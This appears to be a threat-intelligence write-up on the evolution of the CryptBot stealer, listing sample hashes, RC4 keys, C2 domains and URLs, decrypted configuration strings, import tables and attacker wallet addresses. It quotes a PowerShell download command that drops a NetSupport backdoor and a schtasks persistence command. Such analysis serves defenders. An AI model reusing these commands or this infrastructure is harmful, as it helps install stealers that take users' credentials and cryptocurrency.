CryptBot Evolution

Published: 2024-12-06 · Archived: 2026-04-05 16:24:23 UTC

Overview

CryptBot has evolved significantly over the past two years. Starting out as a simple stealer compiled with msvc and and containing an XOR encrypted config, the developers have released multiple iterations of the bot attempting to distence themselves from the orignal stealer. The modern version is almost unrecognizable, it is compiled with minGw, makes heavy use of an obfuscator, and uses RC4 to protect its configuration, however, once the layers are stripped away, this is still the same simple stealer underneath.

References

- There's Something About CryptBot: Yet Another Silly Stealer (YASS)

Version 1 (November 2023)

- OALABS CryptBot V1 Analysis
- Config encrypted with xor
- msvc compiled
- Packed `7ccda59528c0151bc9f11b7f25f8291d99bcf541488c009ef14e2a104e6f0c5d`
- Unpacked `cfbecf45c083effff6d3000972a66cddb2f26d5c1845a697351b132e65049e0`

Plaintext strings in binary used for C2 comms.

```
 UID:
UserName:
ComputerName:
DateTime:
UserAgent:
Keyboard Languages:
Display Resolution:
CPU:
RAM:
GPU:
isGodMod: yes
isGodMod: no
isAdmin: yes
isAdmin: no
Installed software:
```

Config

```
 ExternalDownload: http://ovapfa05.top/unfele.dat
C2: http://erniku42.top/gate.php;
```

Version 2 (Timeline unknown)

- Config encrypted with rc4.
- msvc compiled
- Not packed `34dcc780d2a2357c52019d87a0720802a92f358d15320247c80cc21060fb6f57`
- rc4 key `oSabnN`

According to Intezer

> The stealer also has the ability to drop the **NetSupport** Client as a backdoor for the infected machine. The client is deployed via a PowerShell command and script.
>
> ```
> /c powershell -NoP -NonI -ExecutionPolicy Bypass -Command "$Resp = Invoke-WebRequest -Uri 'https://b
> ```

Plaintext strings in binary used for C2 comms.

```
 UserName (ComputerName):
Data (Time):
OS:
Keyboard Languages:
CPU:
RAM:
GPU:
Display Resolution:
Installed Apps:
```

Decrypted config (ascii and wide version of the same table)

```
 gceight8vt.top
\Winodukec
oSabnN
\ServiceData
\ServiceData\Clip.jpg
\ServiceData\Clip.exe
/c schtasks /create /tn \Service\Data /tr """"%wS""" """%wS"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f
GET
POST
/index.php
/gate.php
/zip.php
/upload.php
```

```
curl/8.0.1
NULL
NULL
NULL
Content-Length: %lu
HTTP
HTTPS
"encrypted_key":"
DPAPI
DISPLAY
$CREEN.JPEG
ScreenShot.jpeg
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Apps
Browsers
Files
Wallets
UserID.txt
Debug.txt
End.txt
log.txt
User's Computer Information.txt
Desktop
Others
NULL
An error occurred while starting the application (0xc000007b). To exit the application, click OK.
System Error
NULL
ComSpec
LocalAppData
AppData
Temp
UserProfile
NULL
NULL
shaverma.site
NULL
kernel32.dll
ntdll.dll
user32.dll
shlwapi.dll
msvcrt.dll
shell32.dll
wininet.dll
winhttp.dll
ws2_32.dll
```

```
urlmon.dll
crypt32.dll
gdi32.dll
gdiplus.dll
ole32.dll
cabinet.dll
advpack.dll
advapi32.dll
rstrtmgr.dll
winsqlite3.dll
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
GetModuleHandleA
GetModuleHandleW
GetModuleHandleExA
GetModuleHandleExW
LoadLibraryA
LoadLibraryW
LoadLibraryExA
LoadLibraryExW
GetProcAddress
FreeLibrary
NULL
MessageBoxA
MessageBoxW
NULL
CreateThread
CreateRemoteThread
CreateRemoteThreadEx
OpenThread
OpenProcess
GetThreadId
GetProcessId
CreateMutexA
CreateMutexW
ReleaseMutex
WaitForSingleObject
CreateProcessA
```

```
CreateProcessW
ShellExecuteA
ShellExecuteW
WinExec
NULL
HeapCreate
GetProcessHeap
HeapAlloc
HeapReAlloc
HeapSize
HeapFree
NULL
VirtualAlloc
VirtualAllocEx
VirtualFree
VirtualFreeEx
VirtualProtect
VirtualProtectEx
NULL
LocalAlloc
LocalFree
NULL
calloc
malloc
realloc
free
NULL
CreateFileA
CreateFileW
ReadFile
WriteFile
SetFilePointer
SetFilePointerEx
GetFileAttributesA
GetFileAttributesW
GetFileAttributesExA
GetFileAttributesExW
GetFileSize
GetFileSizeEx
CreateFileMappingA
CreateFileMappingW
MapViewOfFile
UnmapViewOfFile
CloseHandle
NULL
SHGetFolderPathA
SHGetFolderPathW
```

```
GetEnvironmentVariableA
GetEnvironmentVariableW
ExpandEnvironmentStringsA
ExpandEnvironmentStringsW
GetModuleFileNameA
GetModuleFileNameW
GetModuleFileNameExA
GetModuleFileNameExW
GetCurrentDirectoryA
GetCurrentDirectoryW
GetSystemDirectoryA
GetSystemDirectoryW
GetSystemWow64DirectoryA
GetSystemWow64DirectoryW
GetTempPathA
GetTempPathW
GetTempFileNameA
GetTempFileNameW
NULL
URLDownloadToFileA
URLDownloadToFileW
URLOpenBlockingStreamA
URLOpenBlockingStreamW
CoInitialize
CoUninitialize
NULL
WinHttpCrackUrl
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpReadDataEx
WinHttpQueryHeaders
WinHttpQueryOption
WinHttpCloseHandle
NULL
InternetCrackUrlA
InternetOpenUrlA
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetReadFile
```

```
InternetReadFileExA
InternetCloseHandle
NULL
InternetCrackUrlW
InternetOpenUrlW
InternetOpenW
InternetConnectW
HttpOpenRequestW
HttpSendRequestW
HttpQueryInfoW
InternetReadFile
InternetReadFileExW
InternetCloseHandle
NULL
WSAStartup
socket
htons
inet_addr
bind
listen
accept
recv
recvfrom
send
closesocket
WSAGetLastError
WSACleanup
NULL
FindFirstFileNameA
FindFirstFileNameW
FindNextFileNameA
FindNextFileNameW
FindFirstFileA
FindFirstFileW
FindFirstFileExA
FindFirstFileExW
FindNextFileA
FindNextFileW
FindClose
NULL
RegOpenKeyExA
RegOpenKeyExW
RegQueryInfoKeyA
RegQueryInfoKeyW
RegEnumKeyExA
RegEnumKeyExW
RegQueryValueExA
```

```
RegQueryValueExW
RegCloseKey
NULL
wnsprintfA
wnsprintfW
StrStrIA
StrStrIW
PathIsDirectoryA
PathIsDirectoryW
PathFileExistsA
PathFileExistsW
SHAnsiToUnicode
SHUnicodeToAnsi
NULL
wsprintfA
wsprintfW
_snprintf
_snwprintf
swprintf
sprintf
_swprintf
sprintf_s
swprintf_s
_snwprintf_s
_vscprintf
vsnprintf
_vscwprintf
vswprintf
NULL
WideCharToMultiByte
MultiByteToWideChar
GetComputerNameA
GetComputerNameW
GetUserNameA
GetUserNameW
CopyFileA
CopyFileW
CopyFileExA
CopyFileExW
DeleteFileA
DeleteFileW
MoveFileA
MoveFileW
MoveFileExA
MoveFileExW
CreateDirectoryA
CreateDirectoryW
```

```
RemoveDirectoryA
RemoveDirectoryW
NULL
EnumDisplaySettingsA
EnumDisplaySettingsW
CreateDCA
CreateDCW
CreateCompatibleDC
CreateCompatibleBitmap
SelectObject
BitBlt
GetDeviceCaps
StretchBlt
GetObjectA
GetObjectW
GetDIBits
ReleaseDC
DeleteDC
NULL
GdiplusStartup
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipLoadImageFromFile
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
GdipSaveImageToStream
GetBitmapBits
DeleteObject
GdiplusShutdown
NULL
SHCreateMemStream
CreateStreamOnHGlobal
SaveImageToStream
IStream_Size
IStream_Reset
IStream_Read
NULL
ExtractFilesA
ExtractFilesW
Extract
FCICreate
FCIAddFile
FCIFlushFolder
FCIFlushCabinet
FCIDestroy
NULL
CryptUnprotectData
```

```
GetTickCount
GetTickCount64
QueryPerformanceCounter
CreateToolhelp32Snapshot
Process32FirstA
Process32FirstW
Process32NextA
Process32NextW
GetLocaleInfoA
GetLocaleInfoW
GetLogicalDriveStringsA
GetLogicalDriveStringsW
GetDriveTypeA
GetDriveTypeW
GetVolumeInformationA
GetVolumeInformationW
GetDiskFreeSpaceExA
GetDiskFreeSpaceExW
ReadConsoleA
ReadConsoleW
WriteConsoleA
WriteConsoleW
GetCommandLineA
GetCommandLineW
GetConsoleMode
printf
wprintf
atoi
_wtoi
FileTimeToSystemTime
GetFileInformationByHandle
IsBadReadPtr
SystemTimeToFileTime
GetTimeZoneInformation
GetLocalTime
GlobalMemoryStatusEx
DuplicateHandle
GetCurrentProcess
GetCurrentThread
GetUserDefaultLocaleName
GetSystemMetrics
GetSystemInfo
GetNativeSystemInfo
IsWow64Process
IsWow64Process2
GetKeyboardLayoutList
RtlGetVersion
```

```
GetLastError
SetErrorMode
abs
clock
OpenProcess
TerminateProcess
RmStartSession
RmRegisterResources
RmGetList
RmEndSession
strtod
isspace
Sleep
SleepEx
GetExitCodeThread
ExitThread
ExitProcess
FileTimeToDosDateTime
WinHttpSetOption
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
```

```
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
```

Version 3.1 (Timeline unknown)

- Config encrypted with rc4 (dynamic)
- gcc compiled Linker: GNU linker ld (GNU Binutils)(2.40)GUI32
- contains a zipped binary and dll
- `ff10143803f39c6c08b2fbe846d990b92c6d1b71e27f89bca69ab9331945b14a`
- rc4 key `LkgwUi`
- contains embeded clipboard crypto stealer
- complete crypto stealer `059d39e5ea384d50c448696da393e9396b883627e5ad02bdd77b66371ba34f7d`
- corrupted crypto stealer `7a5a330e626f73b5c4bfa9aeb29a19429cbdd66dd7968b190586c14cbee8a7c9`

Crypto addresses

```
 0xAd32513c4eC05473BD61E6B52eDfd9b6E1Aa5cb8
addr1q8jpzpnwlwu4a6kjyjxgvezzm37u9t84fz959e0fzyxm2s0yzyrxa7aetm4dyfyvsejy9hrac2k02jytgtj7jygdk4qs3eg0ge
bc1qyyuf4jnjl0h0cak8x6jr2j4tg8kdqtvpmuy4ry
17f9LD7vcwLAQCKLndeSw4mHog4TMYiQUR
3KqeRSDxs4TcK9B2DiymiH43ecc7wYwyNW
1XFCPNp73Ri94yuzn1Uw7UuBjc
LZXNaN8NvdGLzCS5CxRRELkam3CPENdJnb
TDkA9uBQPpstFPZEwh4avMdea5Himx2a7T
rsUa6Xs5fiqvp6EHV4urFE8Sk7QHHVwWez
terra1xkkzmqhgzlezxdn2qserytms7ng3zxcw8639yx
KPET9oKko2NGKgzojp7AcAreukPDoNZifHMSDsVjQGt
```

"Anal" build artifacts that dox the build env

```
/home/anal/bot/zip_include/zip.c
```

```
/home/anal/bot/zip_include/miniz.h
```

C2 `http://tventyvx20pn.top/v1/upload.php`

Plaintext stirngs in binary for c2

```
 CPU:
RAM:
Installed Apps:
Display Resolution:
GPU:
OS:
UserName (ComputerName):
Keyboard Languages:
Data (Time):
```

Decrypted config strings

```
 tventyvx20pn.top
\nuSONyiIRP
LkgwUi
\ServiceData
\ServiceData\Clip.au3
\ServiceData\Clip.exe
/c schtasks /create /tn \Service\Data /tr """"%wS""" """%wS"""" /st 00:01 /du 9800:59 /sc once /ri 1 /f
GET
POST
/index.php
/gate.php
/zip.php
/v1/upload.php
curl/8.0.1
NULL
NULL
NULL
Content-Length: %lu
HTTP
HTTPS
"encrypted_key":"
DPAPI
DISPLAY
$CREEN.JPEG
ScreenShot.jpeg
Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Apps
```

```
Browsers
Files
Wallets
UserID.txt
Debug.txt
End.txt
log.txt
User's Computer Information.txt
Desktop
Others
NULL
An error occurred while starting the application (0xc000007b). To exit the application, click OK.
System Error
NULL
ComSpec
LocalAppData
AppData
Temp
UserProfile
NULL
NULL
analforeverlovyu.top
NULL
kernel32.dll
ntdll.dll
user32.dll
shlwapi.dll
msvcrt.dll
shell32.dll
wininet.dll
winhttp.dll
ws2_32.dll
urlmon.dll
crypt32.dll
gdi32.dll
gdiplus.dll
ole32.dll
cabinet.dll
advpack.dll
advapi32.dll
rstrtmgr.dll
winsqlite3.dll
NULL
NULL
NULL
NULL
NULL
```

```
NULL
NULL
NULL
NULL
NULL
NULL
GetModuleHandleA
GetModuleHandleW
GetModuleHandleExA
GetModuleHandleExW
LoadLibraryA
LoadLibraryW
LoadLibraryExA
LoadLibraryExW
GetProcAddress
FreeLibrary
NULL
MessageBoxA
MessageBoxW
NULL
CreateThread
CreateRemoteThread
CreateRemoteThreadEx
OpenThread
OpenProcess
GetThreadId
GetProcessId
CreateMutexA
CreateMutexW
ReleaseMutex
WaitForSingleObject
CreateProcessA
CreateProcessW
ShellExecuteA
ShellExecuteW
WinExec
NULL
HeapCreate
GetProcessHeap
HeapAlloc
HeapReAlloc
HeapSize
HeapFree
NULL
VirtualAlloc
VirtualAllocEx
VirtualFree
```

```
VirtualFreeEx
VirtualProtect
VirtualProtectEx
NULL
LocalAlloc
LocalFree
NULL
calloc
malloc
realloc
free
NULL
CreateFileA
CreateFileW
ReadFile
WriteFile
SetFilePointer
SetFilePointerEx
GetFileAttributesA
GetFileAttributesW
GetFileAttributesExA
GetFileAttributesExW
GetFileSize
GetFileSizeEx
CreateFileMappingA
CreateFileMappingW
MapViewOfFile
UnmapViewOfFile
CloseHandle
NULL
SHGetFolderPathA
SHGetFolderPathW
GetEnvironmentVariableA
GetEnvironmentVariableW
ExpandEnvironmentStringsA
ExpandEnvironmentStringsW
GetModuleFileNameA
GetModuleFileNameW
GetModuleFileNameExA
GetModuleFileNameExW
GetCurrentDirectoryA
GetCurrentDirectoryW
GetSystemDirectoryA
GetSystemDirectoryW
GetSystemWow64DirectoryA
GetSystemWow64DirectoryW
GetTempPathA
```

```
GetTempPathW
GetTempFileNameA
GetTempFileNameW
NULL
URLDownloadToFileA
URLDownloadToFileW
URLOpenBlockingStreamA
URLOpenBlockingStreamW
CoInitialize
CoUninitialize
NULL
WinHttpCrackUrl
WinHttpOpen
WinHttpConnect
WinHttpOpenRequest
WinHttpAddRequestHeaders
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
WinHttpReadDataEx
WinHttpQueryHeaders
WinHttpQueryOption
WinHttpCloseHandle
NULL
InternetCrackUrlA
InternetOpenUrlA
InternetOpenA
InternetConnectA
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
InternetReadFile
InternetReadFileExA
InternetCloseHandle
NULL
InternetCrackUrlW
InternetOpenUrlW
InternetOpenW
InternetConnectW
HttpOpenRequestW
HttpSendRequestW
HttpQueryInfoW
InternetReadFile
InternetReadFileExW
InternetCloseHandle
NULL
WSAStartup
```

```
socket
htons
inet_addr
bind
listen
accept
recv
recvfrom
send
closesocket
WSAGetLastError
WSACleanup
NULL
FindFirstFileNameA
FindFirstFileNameW
FindNextFileNameA
FindNextFileNameW
FindFirstFileA
FindFirstFileW
FindFirstFileExA
FindFirstFileExW
FindNextFileA
FindNextFileW
FindClose
NULL
RegOpenKeyExA
RegOpenKeyExW
RegQueryInfoKeyA
RegQueryInfoKeyW
RegEnumKeyExA
RegEnumKeyExW
RegQueryValueExA
RegQueryValueExW
RegCloseKey
NULL
wnsprintfA
wnsprintfW
StrStrIA
StrStrIW
PathIsDirectoryA
PathIsDirectoryW
PathFileExistsA
PathFileExistsW
SHAnsiToUnicode
SHUnicodeToAnsi
NULL
wsprintfA
```

```
wsprintfW
_snprintf
_snwprintf
swprintf
sprintf
_swprintf
sprintf_s
swprintf_s
_snwprintf_s
_vscprintf
vsnprintf
_vscwprintf
vswprintf
NULL
WideCharToMultiByte
MultiByteToWideChar
GetComputerNameA
GetComputerNameW
GetUserNameA
GetUserNameW
CopyFileA
CopyFileW
CopyFileExA
CopyFileExW
DeleteFileA
DeleteFileW
MoveFileA
MoveFileW
MoveFileExA
MoveFileExW
CreateDirectoryA
CreateDirectoryW
RemoveDirectoryA
RemoveDirectoryW
NULL
EnumDisplaySettingsA
EnumDisplaySettingsW
CreateDCA
CreateDCW
CreateCompatibleDC
CreateCompatibleBitmap
SelectObject
BitBlt
GetDeviceCaps
StretchBlt
GetObjectA
GetObjectW
```

```
GetDIBits
ReleaseDC
DeleteDC
NULL
GdiplusStartup
GdipGetImageEncoders
GdipGetImageEncodersSize
GdipLoadImageFromFile
GdipCreateBitmapFromHBITMAP
GdipSaveImageToFile
GdipSaveImageToStream
GetBitmapBits
DeleteObject
GdiplusShutdown
NULL
SHCreateMemStream
CreateStreamOnHGlobal
SaveImageToStream
IStream_Size
IStream_Reset
IStream_Read
NULL
ExtractFilesA
ExtractFilesW
Extract
FCICreate
FCIAddFile
FCIFlushFolder
FCIFlushCabinet
FCIDestroy
NULL
CryptUnprotectData
GetTickCount
GetTickCount64
QueryPerformanceCounter
CreateToolhelp32Snapshot
Process32FirstA
Process32FirstW
Process32NextA
Process32NextW
GetLocaleInfoA
GetLocaleInfoW
GetLogicalDriveStringsA
GetLogicalDriveStringsW
GetDriveTypeA
GetDriveTypeW
GetVolumeInformationA
```

```
GetVolumeInformationW
GetDiskFreeSpaceExA
GetDiskFreeSpaceExW
ReadConsoleA
ReadConsoleW
WriteConsoleA
WriteConsoleW
GetCommandLineA
GetCommandLineW
GetConsoleMode
printf
wprintf
atoi
_wtoi
FileTimeToSystemTime
GetFileInformationByHandle
IsBadReadPtr
SystemTimeToFileTime
GetTimeZoneInformation
GetLocalTime
GlobalMemoryStatusEx
DuplicateHandle
GetCurrentProcess
GetCurrentThread
GetUserDefaultLocaleName
GetSystemMetrics
GetSystemInfo
GetNativeSystemInfo
IsWow64Process
IsWow64Process2
GetKeyboardLayoutList
RtlGetVersion
GetLastError
SetErrorMode
abs
clock
OpenProcess
TerminateProcess
RmStartSession
RmRegisterResources
RmGetList
RmEndSession
strtod
isspace
Sleep
SleepEx
GetExitCodeThread
```

```
ExitThread
ExitProcess
FileTimeToDosDateTime
WinHttpSetOption
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
NULL
```

```
NULL
NULL
```

Version 3.2 (Timeline unknown)

- gcc compiled
- downloads the binary
- `e7a83ddae3eec8ce624fc138e1dddb7f3ff5c5c9f20db11f60e22f489bdcc947`
